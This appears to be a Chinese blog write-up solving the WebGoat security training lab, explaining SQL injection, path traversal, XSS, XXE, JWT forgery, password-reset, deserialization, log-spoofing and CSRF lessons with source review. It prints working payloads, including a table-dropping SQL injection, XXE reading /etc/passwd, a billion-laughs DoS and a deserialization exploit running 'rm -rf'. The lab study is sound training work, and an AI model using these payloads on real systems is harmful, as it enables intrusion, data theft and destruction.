webGoat打靶日记
webGoat打靶日记
前言
只是单纯打靶场的可以直接使用docker部署,如果目的是代码审计的话,环境搭建参考drun1baby师傅的blog:
一文解决搭建WebGoat的所有问题 | Drunkbaby’s Blog (drun1baby.top)
使用docker部署
拉取镜像
1 | docker search webgoat |
运行容器
1 | docker run -d -p 8888:8888 -p 8081:8080 -p 9090:9090 webgoat/goatandwolf:v8.1.0 |
测试是否成功,访问靶场http://ip:8888
成功。其中webgoat:v8.1.0所对应的java版本为jdk11.0.1
笔者选择的是源码部署,webgoat使用mvn进行构建,因此只需要配置好mvn配置,就可以自动的对所需的依赖进行安装了。
环境:
1 | windows11 |
改maven的settings.xml,改源为阿里云的。
1 | <mirror> |
改webgoat项目的pom.xml文件
刷新maven开始安装。安装完毕后发现还有依赖没法安装,比如“dependency-check-maven”,注释掉即可。
最后双击shift,查找startwebgoat,运行即可启动项目。
参考:0-webgoat源码部署和调试 - 知乎 (zhihu.com)
General
都是一些基础的东西,就不在赘述了。
Crypto Basics lesson 6
题目给了一个rsa的私钥,要求我们算出
- rsa密钥的模数
- 使用该密钥计算签名
使用openssl工具,使用私钥算公钥
1 | openssl rsa -in test.key -pubout > test.pub |
然后使用公钥算公钥的modulus
1 | openssl rsa -in test.pub -pubin -modulus -noout |
最后使用公钥的modulus获取私钥的签名
1 | echo -n "<s上方获取的modulus>" | openssl dgst -sign test.key -s |
然后将sign.sha256文件进行base64编码
1 | openssl enc -base64 -in sign.sha256 -out sign.sha256.base64 |
(A3)Injection
SQL Injection (intro)
lesson2 select
直接查询即可
1 | select department from Employees where first_name = 'Bob' and last_name = 'Franco' ; |
代码审计
- 创建了一个
Statement
对象,并指定了TYPE_SCROLL_INSENSITIVE
(对底层数据变换不敏感 )和CONCUR_READ_ONLY
(只读)作为查询的类型和并发控制。 - statement.executeQuery(query),直接执行传入的query。没有任何过滤。
lesson3 update
DML commands are used for storing, retrieving, modifying, and deleting data.
DML 命令用于存储、检索、修改和删除数据。
1 | SELECT |
题目要求:尝试将 Tobi Barnett 的部门更改为“销售”
UPDATE语法
1 | UPDATE <tablename> SET <column> = '' WHERE ... |
payload
1 | UPDATE Employees SET department = 'Sales' WHERE first_name = 'Tobi' AND last_name = 'Barnett'; |
代码审计
- 和上题类似,没什么好说的
lesson4 alter
DDL commands are used for creating, modifying, and dropping the structure of database objects.
DDL 命令用于创建、修改和删除数据库对象的结构
1 | CREATE |
题目要求:在表 “employees ”中添加列 “phone”(varchar(20))
ALTER语法
1 | ALTER TABLE <tablename> ADD <columnname> <columnType> |
payload
1 | ALTER TABLE employees ADD phone varchar(20); |
代码审计
- 和上题类似,没什么好说的
lesson5 grant
DCL commands are used for providing security to database objects.
DCL 命令用于为数据库对象提供安全保护。
1 | GRANT 授权 |
题目要求:尝试授予用户组 “UnauthorizedUser ”更改表的权限
GRANT语法
1 | GRANT <权限> ON <TABLE_NAME> TO <USER>; |
payload
1 | GRANT ALL ON grant_rights TO unauthorized_user; |
代码审计
connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_UPDATABLE))
创建了一个Statement
对象,类型为TYPE_SCROLL_INSENSITIVE
,允许滚动ResultSet
,并使用CONCUR_UPDATABLE
,表示可以更新结果集。statement.executeQuery(query);
也是输入直接用与sql执行。checkSolution
函数使用了PreparedStatement
,对TABLE_NAME
和GRANTEE
参数进行绑定
lesson9 万能密码
题目直接告诉我们查询语句,万能密码
payload
1 | Smith’ or ‘1’=’1 |
lesson10 数字型注入
测试后发现
1 | unknown token: in statement [SELECT * From user_data WHERE Login_Count = ? and userid= 111u2018] |
存在数字型注入的地方在User_Id
payload
1 | 1 |
代码审计
1 | String queryString = "SELECT * From user_data WHERE Login_Count = ? and userid= " + accountName; |
lesson11 String SQL injection
根据题意,The system requires the employees to use a unique authentication TAN to view their data.则漏洞点更可能在auth_tan处。
1 | "SELECT * FROM employees WHERE last_name = '" + name + "' AND auth_tan = '" + auth_tan + "'"; |
简化一下:
1 | SELECT * FROM employees WHERE last_name = 'xxx' AND auth_tan = 'xxx'; |
构造payload
1 | SELECT * FROM employees WHERE last_name = '123' AND auth_tan = '123' or '1' = '1'; |
即为:
1 | 123 |
代码审计
lesson12 SQL query chaining
其实就是堆叠注入。
和上题一样,简化后的:
1 | SELECT * FROM employees WHERE last_name = 'xxx' AND auth_tan = 'xxx'; |
构造payload
1 | SELECT * FROM employees WHERE last_name = 'xxx' AND auth_tan = '1';update employees set SALARY = 1000000000 where LAST_NAME = 'Smith'; |
即:
1 | 1';update employees set SALARY = 1000000000 where LAST_NAME = 'Smith |
这里刚好最后是个分号,也可以写成这样,把sql语句后面部分注释掉。
1 | SELECT * FROM employees WHERE last_name = 'xxx' AND auth_tan = '1';update employees set SALARY = 1000000000 where LAST_NAME = 'Smith--+'; |
代码审计
与上题一致
lesson13 Compromising Availability
破坏可用性,删库呗
poyload
1 | 1';drop table access_log; --+ |
至此,该部分通关
SQL Injection (advanced)
特殊符号
注释符
1 | /* */ are inline comments |
堆叠注入
1 | ; 执行多条语句 |
连接符
1 | ',+,|| allows string concatenation |
联合查询注入
1 | -1' order by 3 --+ |
判断列数的其他方法:通过 UNION SELECT NULL 来判断列数
1 | ' UNION SELECT NULL -- |
- 特别需要注意的:在 Oracle 数据库中,需要改为
1 | UNION SELECT NULL FROM DUAL -- |
Joins
1 | SELECT * FROM user_data INNER JOIN user_data_tan ON user_data.userid=user_data_tan.userid; |
lesson3
两个任务:
- Retrieve all data from the table
- What is Dave’s password?
有很多方法可以解,根据报错得到sql语句
1 | SELECT * FROM user_data WHERE last_name = '1'; |
方法1:堆叠注入
构造payload
1 | SELECT * FROM user_data WHERE last_name = '1';select * from user_system_data--+'; |
即
1 | 1';select * from user_system_data--+ |
方法2:联合查询注入
构造payload,由于不在同一个表中,所以使用order by
探测是没有必要的。而题目恰好给了我们列数,user_system_data 有4列:userid, user_name, password, cookie,需要将其补齐到7列,和user_data一致。
user_system_data :userid, user_name, password, cookie
user_data:USERID, FIRST_NAME, LAST_NAME, CC_NUMBER, CC_TYPE, COOKIE, LOGIN_COUNT
构造payload
1 | SELECT * FROM user_data WHERE last_name = '1'union select userid, user_name,password,null,null,cookie,null from user_system_data--+'; |
即
1 | 1' union select userid, user_name,password,null,null,cookie,null from user_system_data--+ |
代码审计
- 多了个check,是否使用union,还是没有对sql语句做处理。
lesson4 Blind SQL injection
盲注,无回显。但可以通过true 或 false 的信息,或者给出延时的信息,或者一些其他的信息(比如报错)来判断。
布尔盲注
判断注入点
1 | 1' and 1=1 // 页面返回有数据 |
判断字段数
1 | 1' order by 2 -- // 页面返回有数据 |
时间盲注
判断是否存在时间盲注
1 | 1' and sleep(5)-- |
lesson 5 login
Goal: Can you log in as Tom?
界面中有 Login 与 Register 两个界面,我们依次寻找注入点
最后发现注入点在Register界面的username处。
原因是我注册的用户为11
,当我的输入为11' or '1' = '1
时,我得到的回显应该为xxx注册成功之类的,但我得到的是User 111' or '1' = '1 already exists please try to register with a different username.
说明存在SQL注入,且语句被解析。
思路:爆表,爆库,爆列最后爆值
爆表,构造payload
1 | SELECT * FROM xxx WHERE xxx = '1' or substring(select schema_name from information_schema.schemata limit 0,1),1,1) = 'a';--+'; |
- 需要改动 substring 的数值,例如,爆出第一位之后,需要改变payload 为 substring(语句,2,1) 用来爆破第二位。
爆表
1 | 1'+or+substring(select+schema_name+from+information_schema.schemata+limit+0,1),1,1)='a';--+ |
爆列
1 | 1'+or+substring(select+column_name+from+information_schema.columns+where table_name='<table_name>' limit 0, 1), 1, 1)='a';--+ |
爆数据
1 | tom' and substring(password,1,1)='a |
注意burpsuite设置一下延时
代码审计
- 只存在3个参数,checkArguments函数只存在3个参数,username_reg, email_reg, password_reg
- sql查询语句查的是 username_reg,
- 判断条件为if (username_reg.contains(“tom’”))
SQL Injection (mitigation)
SQL注入的基本防御手段
Immutable Queries不可变查询
Static Queries静态查询
1 | String query = "SELECT * FROM products"; |
Parameterized Queries参数化查询
1 | String query = "SELECT * FROM users WHERE last_name = ?"; |
Stored Procedures存储过程
Only if stored procedure does not generate dynamic SQL仅在存储过程不生成动态 SQL 的情况下使用。
lesson5 Writing safe code
lesson9 Input validation alone is not enough!
1 | 1';select/**/*/**/from/**/user_system_data--/**/ss |
lesson10
1 | 1'/**/union/**/selselectect/**/1,user_name,password,'1','2','3',4/**/frfromom/**/user_system_data--+ |
Path traversal
lesson2 uploading files
目录穿越
代码审计
- 注意uploadedFile和fullName,其中
@RequestParam("uploadedFile") MultipartFile file
。MultipartFile是 Spring 框架提供的一个接口,用于表示处理文件上传的对象。此处是将其作为MultipartFile
对象传递给控制器方法中的file
参数。 fullName
是文件名return super.execute(file, fullName);
调用了父类的execute()方法,我们来看看父类是怎么写的
- 先判断是否传入文件
- 然后调用
cleanupAndCreateDirectoryForUser()
,该方法规定了目录 /PathTraversal/UserName - 然后直接createNewFfile()
1 | var uploadedFile = new File(uploadDirectory, fullName); |
lesson3 uploading files fix
双写绕过
1 | fullname = ....// |
代码审计
- 依旧是继承
ProfileUploadBase
类,waf加在了对fullname
的处理上,将../
替换为""
。
双写绕过即可。
lesson4 uploadedFileRemoveUserInput
漏洞点在filename中
代码审计
lesson5 ProfileUploadRetrieval
Path traversals are not limited to file uploads; when retrieving files, it can be the case that a path traversal is possible to retrieve other files from the system. In this assignment, try to find a file called
path-traversal-secret.jpg
路径遍历并不局限于文件上传;在检索文件时,路径遍历也可以检索系统中的其他文件。在本作业中,请尝试查找名为 path-traversal-secret.jpg 的文件。
没思路,审代码
- 过滤掉了
..
和/
- 需要以get的形式传入一个名为id的参数
- 拼接
.jpg
url编码一下即可绕过
1 | ../ -> %2e%2e%2f |
最终payload
1 | %2e%2e%2f%2e%2e%2fpath-traversal-secret |
lesson7 ProfileZipSlip
代码审计
- 一定要传zip文件
然后调用processZipUpload()
创建一个临时目录,再调用cleanupAndCreateDirectoryForUser()
,然后是对文件的复制和解压缩
- 上传的 zip 文件被保存到临时目录。
- 然后通过
ZipFile
类来读取 zip 文件并提取其中的内容。 - 对每一个 zip 条目,创建相应的文件并将条目的内容写入到该文件。
也就是说解析了文件夹下的文件内容
答案在lesson 8
Cross Site Scripting
lesson 2 What is XSS?
- The cookies should be the same on each tab.
lesson 7
在field1处,payload
1 | <script>alert('111')</script> |
代码审计
只有field1是直接拼接上去的
lesson 10 Identify potential for DOM-Based XSS
题目中说:So, what is the route for the test code that stayed in the app during production? To answer this question, you have to check the JavaScript source.
所以直接进入代码审计步骤。
DOM 型 XSS 全部都是由前端进行触发的,所以这里审的是前端代码即可。
F12全局搜索和test或者route有关的js路由,发现GoatRouter.js
找到testRoute方法
按照mvc的规范找testHandler方法
然后找showTestParam
方法
这里没做任何处理,直接拼接,存在xss漏洞
题目提示:
Your objective is to find the route and exploit it. First though, what is the base route? As an example, look at the URL for this lesson …it should look something like /WebGoat/start.mvc#lesson/CrossSiteScripting.lesson/9. The ‘base route’ in this case is: start.mvc#lesson/ The CrossSiteScripting.lesson/9 after that are parameters that are processed by the JavaScript route handler.您的目标是找到路由并加以利用。首先,基本路由是什么?举个例子,看看本课的 URL……它应该是 /WebGoat/start.mvc#lesson/CrossSiteScripting.lesson/9。这里的 “基本路由 ”是:start.mvc#lesson/ 后面的 CrossSiteScripting.lesson/9 是 JavaScript 路由处理程序要处理的参数。
那么可以得出,本题答案为:
1 | start.mvc#test |
攻击的payload可以写成
1 | /start.mvc#test/<script>alert("111")</script> |
代码审计后端
lesson 11 Try It! DOM-Based XSS
(A5) Security Misconfiguration
XXE
lesson4
提交,发现抓到了以POST的方式提交的,请求地址为/WebGoat/xxe/simple
的包,内容是一个标准的XML。并且输入内容可控
伪造一下,成功读取/etc/passwd文件
在java中file可以直接列目录,payload如下:
1 | <?xml version="1.0"?> |
代码审计
createNewComment()方法
- 将post请求的内容赋值给了commentStr变量
var comment = comments.parseXml(commentStr);
使用comments.parseXml
处理完后赋值给comment实例comments.addComment(comment, false);
添加评论
跳转到Comments.parseXml()
-
JAXBContext
是 Java 中用于管理 Java 对象和 XML 数据之间映射的类。它是 Java Architecture for XML Binding (JAXB) 的一部分,提供了从 Java 对象生成 XML 或从 XML 数据创建 Java 对象的功能。- 对象到 XML 的绑定(Marshaller): 将 Java 对象转换为 XML 表示。
- XML 到对象的绑定(Unmarshaller): 将 XML 数据解析并绑定到 Java 对象。
- 元数据管理: 管理绑定操作所需的上下文,包括类信息和配置信息。
- 从 Java 11 开始,JAXB 被移除出 JDK,需要手动添加依赖
当把 XML 格式的字符串传递给 Unmarshaller 接口转变成 Java 对象时,会解析一遍 XML,如果传入的值可控就会导致 XXE 注入攻击。
lesson 7 Modern REST framework
In modern REST frameworks the server might be able to accept data formats that you as a developer did not think about. So this might result in JSON endpoints being vulnerable to XXE attacks.
在现代 REST 框架中,服务器可能会接受您作为开发人员没有考虑到的数据格式。因此,这可能导致 JSON 端点容易受到 XXE 攻击。
Again same exercise but try to perform the same XML injection as we did in the first assignment.
再次进行相同的练习,但尝试执行与第一次作业中相同的 XML 注入。
先来了解一下REST
REST全称是Representational State Transfer,中文意思是表述(编者注:通常译为表征)性状态转移。REST指的是一组架构约束条件和原则。”如果一个架构符合REST的约束条件和原则,我们就称它为RESTful架构。
REST资源的表述:
例如文本资源可以采用html、xml、json等格式,图片可以使用PNG或JPG展现出来。
资源的表述包括数据和描述数据的元数据,例如,HTTP头”Content-Type” 就是这样一个元数据属性。
RESTful 架构详解 | 菜鸟教程
一文彻底弄懂REST API - 知乎
回到题目本身,抓包发现
此处资源的表述:Content-Type: application/json
,对应解析的内容为json格式
修改一下,使得其能解析xml
lesson8中有详细的解决方案
lesson9 XXE DOS attack
With the same XXE attack we can perform a DOS service attack towards the server. An example of such an attack is:
1 | <?xml version="1.0"?> |
当 XML 解析器加载此文档时,会发现它包含一个根元素 “lolz”,其中包含文本“&lol9;”。然而,“&lol9; ”是一个已定义的实体,可扩展为一个包含十个“&lol8; ”字符串的字符串。每个“&lol8; ”字符串都是一个定义实体,可扩展为十个“&lol7; ”字符串,依此类推。处理完所有实体扩展后,这一小块(< 1 KB)XML 实际上将占用近 3 gigabytes 的内存。
lesson 11 Blind XXE assignment
在webwolf中上传一个attack.dtd
文件
1 | <?xml version='1.0' ?> |
抓包,构造payload
1 | <?xml version="1.0"?> |
返回 WebGoat 并发表评论
代码层面上:
和lesson7是一样的
(A7) Identity & Auth Failure
Authentication Bypasses
2FA Password Reset
根据抓到的路由找源代码
代码审计
直接看AttackResult
看verifyAccount()
几个检查机制:
- 检查提交问题数量是否匹配
- secQuestion0的值和取到的值相同
equals(secQuestionStore.get(verifyUserId).get("secQuestion0")))
,secQuestion1也是一样
看看那个值是怎么定义的
即检查机制为: - 检查提交问题数量是否匹配
- “secQuestion0”的值为”Dr. Watson”
- “secQuestion1”的值为”Baker Street”
相等的情况下就会被didUserLikelylCheat()
拦住didUserLikelylCheat()
但如果我们从submittedQuestions.containsKey("secQuestion0"
条件入手,使其为false,则会跳过一整个if语句
那么检查机制就变为:
- 检查提交问题数量是否匹配
具体payload如下:
将secQuestion0
写为secQuestion011
,secQuestion1
写为secQuestion111
感觉这题纯考逻辑…
Insecure Login
log in 后拦截到明文传输的账密,然后改包,传上去即可
JWT tokens
结构:
- 头
- 声明
- 签名
lesson 3 Decoding a JWT token
jwt.io或者是cyberchef都可以一把梭
lesson 5 JWT伪造
代码审计JWTVotesEndpoint.java
文件
- 只判断claims中admin的值
lesson6是答案
注意!在没有密钥的情况下直接对cliams进行修改,签名会失效
We can change the admin
claim to false
but then signature will become invalid. How do we end up with a valid signature? Looking at the RFC specification alg: none
is a valid choice and gives an unsecured JWT. Let’s change our token:我们可以将管理员声明改为 false,但这样签名就会失效。我们如何才能获得有效的签名呢?根据 RFC 规范,“无”(alg: none)是一个有效的选择,它提供的是一个不安全的 JWT。让我们改变我们的标记:直接去掉签名
lesson 7 Code review
比较一下
parseClaimsJws和parse的区别
parseClaimsJws:会自动校验签名的合法性
parse:提供一个通用的接口,可以解析 JWT 的任何部分,包括签名无效的情况
答案很明显
1 , 2
JWT cracking JWT 爆破
With the HMAC with SHA-2 Functions you use a secret key to sign and verify the token. Once we figure out this key we can create a new token and sign it. So it is very important the key is strong enough so a brute force or dictionary attack is not feasible. Once you have a token you can start an offline brute force or dictionary attack.使用带有 SHA-2 函数的 HMAC,您可以使用密钥来签署和验证令牌。一旦我们知道了这个密钥,就可以创建一个新的令牌并对其进行签名。因此,密钥必须足够强大,这样暴力或字典攻击就不可行了。一旦有了令牌,就可以开始离线暴力或字典攻击。
密钥为victory
打印当前时间
1 | python -c "import time;print(time.time())" |
修改时间戳,把时间间隙改大一点
再结合密钥重新生成jwt
代码审计
密钥从这里随机挑选
- parseClaimsJws(token) 要验证签名
Refreshing a token刷新令牌
token类型分为两种:access token 和 refreshing token
refreshing token 的存在是为了避免多次验证access token
题目要求:Can you find a way to order the books but let Tom pay for them?
先看日志
找到失效的token,然后对时间戳进行修改,无果
发现日志中存在”POST /JWT/refresh/login HTTP/1.1” 200”, 尝试访问,回显400
checkout中也没有access_token等信息。
那我们先去审一下源码叭………………………
代码审计
对于/JWT/refresh/login
路由而言
- 账号密码以json对象的形式传入。没有以json对象传入,则直接返回
ResponseEntity.status(HttpStatus.UNAUTHORIZED).build();
。 - 账密为
jerry:bm5nhSkxCXZkKRy4
则createNewTokens(user)
createNewTokens()
逻辑如下 - 创建access_token和refresh
再看/JWT/refresh/checkout
路由 - 接收一个
Authorization
头中的 JWT,验证其有效性并解析。 - 检查用户是否为
"Tom"
。 - 检查 JWT 是否使用了不安全的
alg
算法(如"none"
)/JWT/refresh/newToken
路由 - 当 user 与 refreshToken 都存在,JWT 成功被 Refresh
注意!此处只验证了是否存在, 没有验证对应的对象,所以可以存在下方使用a用户的refresh_token刷新b用户的access_token的漏洞
回到题目本身
再次看这道题的时候,发现再HTTP history中,我们曾经捉到了这样的包
是jerry的记录,response中存在jerry的access_token和refresh_token
在log中发现tom的access_token
根据题意猜测,那应该是使用tom的access_token和jerry的refresh_token来更新tom的access_token
在/WebGoat/JWT/refresh/newToken
路由刷新access_token,注意refresh_token
只能使用一次。
改Authorization头为Tom的access_token,使用jerry的refresh_token作为refresh_token
然后改checkout
的包,使用tom
的access_token
注意:这个包中本身就存在Authorization
头
over
Final challenge
题意大概是:用jerry的账户,delete tom的账户
点击delete抓包,接口为/WebGoat/JWT/final/delete?token=
从这里可以截获到jerry的jwt,解码发现:
多了个kid
即Key ID
详情见:What’s the meaning of the "kid" claim in a JWT token? - Stack Overflow ~ JWT 标记中的 “kid”(孩子)声称是什么意思?- Stack Overflow
hit: Using a SQL injection you might be able to manipulate the key to something you know and create a new token.
改一下jwt
其中:
bXlfa2V5
是my_key
的base64加密SALARIES
是已知的随机表- iat和exp改时间戳,用python打印一个即可
- 改 “username”: “Tom”
- key用my_key
发包
代码审计
两个路由,/JWT/final/follow/{user}
,点关注的,没什么用。我们来看另一个路由/JWT/final/delete
1 |
|
发现这里存在一个sql查询,由于其直接拼接,存在sql注入。然后将查询到的值返回给rs
然后返回一个base64解码的rs.getString(1)
所以上方payload需要base64加密,拿出来详细讲讲
上方payload拼接进sql语句中如下:
1 | SELECT key FROM jwt_keys WHERE id = '111' UNION SELECT 'bXlfa2V5' FROM SALARIES --' |
查询结果返回了 bXlfa2V5
,被视为有效的密钥
UNION SELECT
是 SQL 中的一个操作符
- 合并的结果集会同时包含前一个查询和后一个查询的结果。
- 如果第一个查询没有结果,而第二个查询有结果,那么返回的就只有第二个查询的结果。
然后使用了parseClaimsJws(token)
,无法构造 {"alg":"none"}
来绕过
对jwt中其他内容的验证只剩下:
Best practices最佳实践
Some best practices when working with JWT:使用 JWT 时的一些最佳实践:
- Fix the algorithm, do not allow a client to switch the algorithm.固定算法,不允许客户端切换算法。
- Make sure you use an appropriate key length when using a symmetric key for signing the token.使用对称密钥签署令牌时,确保使用适当的密钥长度。
- Make sure the claims added to the token do not contain personal information. If you need to add more information opt for encrypting the token as well.确保添加到令牌的声明不包含个人信息。如果需要添加更多信息,请选择对令牌进行加密。
- Add sufficient test cases to your project to verify invalid tokens actually do not work. Integration with a third party to check your token does not mean you do not have test your application at all.在项目中添加足够的测试用例,以验证无效令牌实际上不起作用。与第三方集成以检查您的令牌并不意味着您完全不需要测试您的应用程序。
- Take a look at the best practices mentioned in https://tools.ietf.org/html/rfc8725#section-2请参阅 https://tools.ietf.org/html/rfc8725#section-2 中提到的最佳实践。
Password reset
大多都是逻辑洞
lesson 2
测试webWolf 是否能正常使用
lesson 4 Security questions安全问题 爆破密保
这些安全问题(s)应被视为与相同级别的安全,这是应用于储存密码在数据库
题目:
抓包,发现颜色是以post传参的securityQuestion
gpt生成颜色字典,爆破
存在网络错误,所以需要多爆破几次
代码审计COLORS
映射表直接硬编码在代码
1 | String securityQuestion = (String) json.getOrDefault("securityQuestion", ""); |
其中,getOrDefault
返回 key 相映射的的 value,如果没有返回defaultValue
lesson 5
If you have to pick a security question, we recommend not answering them truthfully.如果你必须选择一个安全问题,我们建议不回答它们如实。
lesson 6 the password reset link 密码重置链接
题目
Try to reset the password of Tom (tom@webgoat-cloud.org) to your own choice and login as Tom with that password. Note: it is not possible to use OWASP ZAP for this lesson, also browsers might not work, command line tools like
curl
and the like will be more successful for this attack.尝试将汤姆 (tom@webgoat-cloud.org) 的密码重设为您自己选择的密码,并用该密码以汤姆的身份登录。注意:本课不可能使用 OWASP ZAP,浏览器也可能不起作用,curl 等命令行工具在本攻击中会更成功。
Tom always resets his password immediately after receiving the email with the link.汤姆总是在收到带有链接的电子邮件后立即重设密码。
在Forgot your password?处,抓包
该host让tom@webgoat-cloud.org
的重置链接发到webwolf中,也是就9090端口
Host
头:指定目标服务器的域名和端口号,用于告诉服务器当前请求是发往哪个具体主机的。
在webWolf中的incoming requests中找到传入请求。
在 WebWolf 的传入请求中,我们将获得Tom点击的链接
此时,我们将获取的链接的套接字改为webgoat的套接字,即
1 | http://127.0.0.1:8080/WebGoat/PasswordReset/reset/reset-password/8c180843-8fb6-4a2d-a366-de4db9f8b0b9 |
然后更改密码,再以tom的身份登录即可
代码审计
- host 的值是Request 包中的 host 值
- if语句判断 host 当中是否存在 WebWlof 服务对应的端口与 Host
(A8) Software & Data Integrity
lesson 3 The Simplest Exploit
简单的反序列化漏洞示例
1 | InputStream is = request.getInputStream(); |
它期待一个 AcmeObject 对象,但会在转换之前执行 readObject()。如果攻击者找到了在 readObject() 中执行危险操作的适当类,他就可以序列化该对象并强制存在漏洞的应用程序执行这些操作。
Class included in ClassPath类路径中包含的类
攻击者需要在类路径中找到一个支持序列化并在 readObject() 中执行危险操作的类。
1 | package org.dummy.insecure.framework; |
可利用是因为重写了readObject方法
exp
1 | VulnerableTaskHolder go = new VulnerableTaskHolder("delete all", "rm -rf somefile"); |
执行位置在:taskAction,执行rm -rf somefile 的操作
lesson5
题目要求:尝试更改此序列化对象,以便将页面响应延迟整整 5 秒钟
代码审计
1 | public class InsecureDeserializationTask extends AssignmentEndpoint { |
token经过了一个特殊字符替代,然后base64解码,得到的值进行readObject反序列化。
instanceof()
是一个二元操作符,用于测试一个对象是否是某个类的实例,或者是否实现了某个接口
判断是否为VulnerableTaskHolder
的实例
在VulnerableTaskHolder
类中找到重写的readObject()
该方法直接调用Runtime.getRuntime().exec(),参数为taskAction
该taskAction参数在构造参数中直接传入
所以该参数可控
exp,在VulnerableTaskHolder的同级目录下
1 | package org.dummy.insecure.framework; |
一开始用sleep来打,但是出现sleep找不到对应文件的问题,于是使用ping
可以使用sleep或ping
(A9) Security Logging Failures
Logging Security 日志安全
lesson2
本挑战的目标是让用户名 “admin ”看起来成功登录。
payload
1 | normal_user\n[INFO] admin accessed the system |
日志伪造攻击
但实测下来,payload为
1 | # 在username位置上 |
就能通过
代码审计
- 把
\n
替换为<br/>
- 比较字符串中
"<br/>"
和"admin"
出现的索引位置indexOf("<br/>")
返回username
字符串中首次出现"<br/>"
的位置(从 0 开始计数,数到出现位置)- 如果
"<br/>"
不存在,indexOf
会返回-1
- admin同理
这也解释了为什么payload为admin就能直接通过
因为"<br/>"
的值为-1,admin出现了,值为0,-1 < 0
再来解释一下为什么日志伪造攻击payload生效
看这个demo
1 | package org.dummy.insecure.framework; |
运行结果为
1 | normal_user<br/>[INFO] admin accessed the system |
所以其实后端的检查机制只需要admin在<br/>
之后即可成功
和日志伪造没什么关系hhhh
lesson 3
当用户试图欺骗日志时,日志欺骗就会成为一个问题。除表单发布外,还有其他多种方法可以做到这一点。比如 URL 参数或伪造的 JSON 有效负载。
1、应用适当的输入过滤
2、确保您可以建立源真实性并实施完整性控制以检测日志篡改。
3、确保用户无法从任何通道注入日志
4、确保日志存储受到保护
lesson 4 log-bleeding
本挑战的目标是在 WebGoat 服务器的应用程序日志中找到秘密,以便以管理员用户身份登录。
请注意,我们试图 “保护 ”它。您能解码吗?
在启动程序中
base64 decode
1 | OTdjYzhhNjEtMGNhMC00NjI3LWJjNDItZDliNTllYTA0M2Q1 |
有个比较坑的点
username是Admin而非admin
代码审计
很直接了
最好将应用程序(调试)日志与 SEM 日志和审计日志区分开来,以便于应用程序输出、在企业内部存储和处理日志
(A10) Server-side Request Forgery 服务器端请求伪造
Cross-Site Request Forgeries跨站请求伪造
- csrf 构造 payload 然后诱导受害者点击,从而利用受害者的身份去做一些事情。
- ssrf 请求是服务端发起的,通常有的功能会存在从第三方的链接等获取资源,但是如果没有对资源来源进行一个限定那么就可以导致我们可以利用服务端来请求他本地或者他其中的内网信息
lesson 2Basic Get CSRF Exercise基本获取 CSRF 练习
使用burpsuite中的CSRF POC 功能,生成一个payload
1 | <html> |
保存,本地打开,点击链接,得到flag
代码审计
- 检查机制是令 referer != host
lesson 4 Post a review on someone else’s behalf
该页面通常模拟用户对帖子的评论和评分。我们的任务是从另一台主机上提交该评论和评分
和上文类似,payload为
1 | <html> |
lesson4
现在,大多数框架都默认支持防止 CSRF。例如,在 Angular 中,拦截器默认从 Cookie 中读取令牌 XSRF-TOKEN,并将其设置为 HTTP 标头 X-XSRF-TOKEN。由于只有在您的域上运行的代码才能读取 cookie,因此后端可以确定 HTTP 请求来自您的客户端应用程序,而不是攻击者。
为了实现这一功能,后端服务器会在 Cookie 中设置标记。由于 Cookie 的值应由 Angular(JavaScript)读取,因此不应将此 Cookie 标记为 http-only 标志。在每次向服务器发出请求时,Angular 都会将令牌作为 HTTP 标头放入 X-XSRF-TOKEN 中。服务器可以验证这两个令牌是否匹配,这将确保服务器的请求是在同一域上运行的。
lesson 7 CSRF and content-type
您需要从另一个源进行调用(WebWolf 可以提供帮助),实现将以下 JSON 消息 POST 到我们的端点
CORS 策略是一种机制,它告诉浏览器,如果请求不是来自同一源,何时允许访问特定资源。基本上,当请求从服务器域以外的不同域托管的网站发出时,服务器需要在响应中包含一个额外的标头(Access-Control-Allow-Origin),说明可以访问该资源。浏览器会执行这一策略。
预检: 在实际请求之前,浏览器会询问网络服务器该请求是否安全。简单请求不会触发 CORS 预检
不会触发的请求类型:
- application/x-www-form-urlencoded
- multipart/form-data
- text/plain
已知存在cors,我们使用不会触发的请求类型
payload
1 | <html> |
运行
填进去即可
lesson8 Login CSRF attack登录 CSRF 攻击
新建一个账户即可
ssrf 服务器端请求伪造
在服务器端请求伪造(SSRF)攻击中,攻击者可以滥用服务器上的功能来读取或更新内部资源。攻击者可以提供或修改 URL,让服务器上运行的代码读取或提交数据。此外,通过仔细选择 URL,攻击者还可以读取 AWS 元数据等服务器配置,连接到启用 HTTP 的数据库等内部服务,或对无意暴露的内部服务执行发布请求。
lesson 2 Find and modify the request to display Jerry
检查浏览器向服务器发送的内容,并调整请求以从服务器获取其他内容。
lesson 3
感觉这两个题都不算是ssrf